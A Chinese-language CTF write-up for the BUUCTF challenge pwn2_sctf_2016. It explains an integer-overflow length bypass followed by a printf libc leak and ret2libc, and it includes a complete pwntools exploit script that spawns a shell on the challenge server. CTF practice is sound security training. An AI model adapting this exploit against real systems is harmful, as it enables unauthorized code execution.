[BUUCFT]PWN——pwn2_sctf_2016

2020-10-06 14:00:42

pwn2_sctf_2016[整數溢位+洩露libc]

題目附件

步驟:

例行檢查,32位元,開啟了nx保護
在這裡插入圖片描述
試執行一下程式,看看大概的執行情況
在這裡插入圖片描述

32位元ida載入,shift+f12檢索程式裡的字串,沒有看到現成的system和‘/bin/sh’,加上開啟了NX保護,估計是洩露libc型別的題目

從main函數開始看程式,main函數就呼叫了一個vuln函數
在這裡插入圖片描述
注意第7行的輸入函數不是get,是程式自定義的函數get_n,
接受a2個長度的字串並放到vuln函數的緩衝區內部,但是a2傳入的值型別是unsigned int,而前面判斷長度的型別是int,可以規避長度限制。也就是說我們這邊可以輸入負數來達到溢位的效果(整數溢位)
在這裡插入圖片描述

利用思路:

  1. 一開始輸入負數,繞過長度限制,造成溢位
  2. 利用printf函數洩露程式的libc版本,去算出system和‘/bin/sh‘的地址
  3. 溢位覆蓋返回地址去執行system(‘/bin/sh’)

利用過程:

  1. 造成整數溢位
    在get_n函數中,讀入長度被強制轉換為unsigned int,此時-1變成了4294967295。使得我們能夠進行緩衝區溢位攻擊
r.recvuntil('How many bytes do you want me to read? ')
r.sendline('-1')
  1. 洩露libc
r.recvuntil('How many bytes do you want me to read? ')
r.sendline('-1')
r.recvuntil('\n')
payload='a'*(0x2c+4)+p32(printf_plt)+p32(main)+p32(printf_got)
r.sendline(payload)
r.recvuntil('\n')
printf_addr=u32(r.recv(4))
libc=LibcSearcher('printf',printf_addr)
  1. 計算system和bin/sh的地址
offset=printf_addr-libc.dump('printf')
system=offset+libc.dump('system')
bin_sh=offset+libc.dump('str_bin_sh')
  1. 覆蓋返回地址為system(‘/bin/sh’)
r.recvuntil('How many bytes do you want me to read? ')
r.sendline('-1')
r.recvuntil('\n')
payload='a'*(0x2c+4)+p32(system)+p32(main)+p32(bin_sh)
r.sendline(payload)

完整EXP:

from pwn import *
from LibcSearcher import *

r=remote('node3.buuoj.cn',29806)
elf=ELF('./pwn2_sctf_2016')

printf_plt=elf.plt['printf']
printf_got=elf.got['printf']
main=elf.sym['main']

r.recvuntil('How many bytes do you want me to read? ')
r.sendline('-1')
r.recvuntil('\n')
payload='a'*(0x2c+4)+p32(printf_plt)+p32(main)+p32(printf_got)
r.sendline(payload)
r.recvuntil('\n')
printf_addr=u32(r.recv(4))
libc=LibcSearcher('printf',printf_addr)

offset=printf_addr-libc.dump('printf')
system=offset+libc.dump('system')
bin_sh=offset+libc.dump('str_bin_sh')

r.recvuntil('How many bytes do you want me to read? ')
r.sendline('-1')
r.recvuntil('\n')
payload='a'*(0x2c+4)+p32(system)+p32(main)+p32(bin_sh)
r.sendline(payload)

r.interactive()

有多個匹配的libc版本,這邊選13
在這裡插入圖片描述
在這裡插入圖片描述